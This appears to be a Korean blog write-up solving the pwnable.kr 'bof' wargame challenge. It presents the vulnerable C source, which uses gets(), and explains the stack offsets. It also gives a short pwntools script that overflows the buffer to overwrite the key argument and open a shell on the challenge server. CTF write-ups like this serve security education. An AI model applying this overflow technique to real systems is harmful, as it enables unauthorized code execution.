본문 바로가기

pwnable.kr/Toddler's Bottle

bof

[소스코드]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}

int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

(1) main함수에서 인자로 0xdeadbeef를 주며 func함수를 호출한다.

(2) func함수에선 gets를 이용해 값을 입력받아 overflowme에 저장하고

(3) 인자인 key와 0xcafebabe를 비교하여 일치하면 shell을 실행시킨다.

 

-> 따라서 func의 gets 함수를 이용해 bof를 일으켜 key값을 0xcafebabe로 overwrite하면 shell을 획득할 수 있을 것이다.

+) func 함수에서 if문을 이용해 system함수를 통해서 shell을 실행시켜주므로, 메모리 보호기법들은 문제가 되지 않는다.

 

[exploit]

바이너리로 주어진 bof를 통해 우리의 타겟인 func 함수의 스택 구조를 알아보자

func 함수 스택 버퍼의 크기가 0x48(72)이고 gets함수 실행 전에 ebp-0x2c를 참조하는 것을 보아 overflowme가 ebp-0x2c 위치에 있음을 알 수 있다.

 

if문 실행 전에 ebp+8에 저장된 값과 0xcafebabe를 비교하는 것을 통해 func 함수의 인자인 key는 보편적인 함수 인자의 위치인 ebp+8에 위치해 있음을 알 수 있다.

 

이를 통해 파악한 func함수 스택프레임의 구조는 다음과 같다

 

[exploit]

 

bof의 아키텍처는 i386-32-little로 little-endian 방식을 사용한다.

 

따라서 exploit을 다음과 같이 짜주면 shell을 성공적으로 획득하여 flag를 얻어낼 수 있다.

 

#bof.py

from pwn import *
p = remote("pwnable.kr", 9000)

p.send(b'A'*52 + b'\xbe\xba\xfe\xca')

p.interactive()

 

bof.py를 실행시켜 shell을 성공적으로 획득했음을 확인할 수 있다

'pwnable.kr > Toddler's Bottle' 카테고리의 다른 글

random  (0) 2023.08.04
passcode  (0) 2023.08.03
flag  (0) 2023.08.03
collision  (0) 2023.06.14
fd  (0) 2023.06.14